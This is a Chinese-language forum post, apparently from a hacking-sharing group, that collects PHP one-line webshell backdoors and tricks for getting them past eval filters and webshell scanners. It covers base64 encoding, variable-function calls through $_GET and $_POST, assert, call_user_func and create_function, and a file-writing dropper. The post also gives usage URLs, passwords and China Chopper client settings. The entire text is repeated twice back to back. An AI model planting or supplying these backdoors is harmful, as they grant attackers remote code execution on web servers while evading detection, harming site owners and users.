在渗透中常常遇到拦截eval的,所以
<?php eval($_POST[xiao])?>这种形式的会被拦截
常见的是变成
base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz4=)
这种形式可以绕过,另外还有其他形式
<?php $_GET['eval']($_POST['xiao']);?>
今天见一比较怪的东西:web 杀毒 。v1.0。点。心想是不是谁有跟云扯上了。
完了才知道是个webshell扫描工具。各位前辈把web后门弄的死去活来的,揍是怕人发现,压缩, 加密 ,字符逆转,一句话,很烂了。
前段时间cnqing的blog上也发了一个:
不少人讨论了,也有人跟我的感觉一样,php的后门不好杜绝。其实关键在于规则。再主动的扫描也是按照既定的规则进行的。
我也发一个,属于猥琐流的。
if(key($_GET)=='singyea')call_user_func($_GET['singyea'],$_POST['singyea']);
好了。使用方法:
http://www.2cto.com /shell.php?singyea=assert
客户端用菜刀
<?php $_GET['a']($_POST['b']);?>
test.php?a=assert
密码b
<?php assert($_POST[s]);?>
<?php $_POST['iso']($_POST['cmd']);?>
密码cmd 菜刀配置信息填:<O>iso=assert</O>
<?php
$s = create_function('', $_REQUEST['c']);
$s();
// s.php?c=eval%28$_REQUEST[cmd]%29;&cmd=echo%201;
?>
<?php file_put_contents(base64_decode(文件名), base64_decode( 小马 base64));?>
不解释上图
作者 rootc4 Free sharing小组
<?php eval($_POST[xiao])?>这种形式的会被拦截
常见的是变成
base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz4=)
这种形式可以绕过,另外还有其他形式
<?php $_GET['eval']($_POST['xiao']);?>
今天见一比较怪的东西:web 杀毒 。v1.0。点。心想是不是谁有跟云扯上了。
完了才知道是个webshell扫描工具。各位前辈把web后门弄的死去活来的,揍是怕人发现,压缩, 加密 ,字符逆转,一句话,很烂了。
前段时间cnqing的blog上也发了一个:
不少人讨论了,也有人跟我的感觉一样,php的后门不好杜绝。其实关键在于规则。再主动的扫描也是按照既定的规则进行的。
我也发一个,属于猥琐流的。
if(key($_GET)=='singyea')call_user_func($_GET['singyea'],$_POST['singyea']);
好了。使用方法:
http://www.2cto.com /shell.php?singyea=assert
客户端用菜刀
<?php $_GET['a']($_POST['b']);?>
test.php?a=assert
密码b
<?php assert($_POST[s]);?>
<?php $_POST['iso']($_POST['cmd']);?>
密码cmd 菜刀配置信息填:<O>iso=assert</O>
<?php
$s = create_function('', $_REQUEST['c']);
$s();
// s.php?c=eval%28$_REQUEST[cmd]%29;&cmd=echo%201;
?>
<?php file_put_contents(base64_decode(文件名), base64_decode( 小马 base64));?>
不解释上图
作者 rootc4 Free sharing小组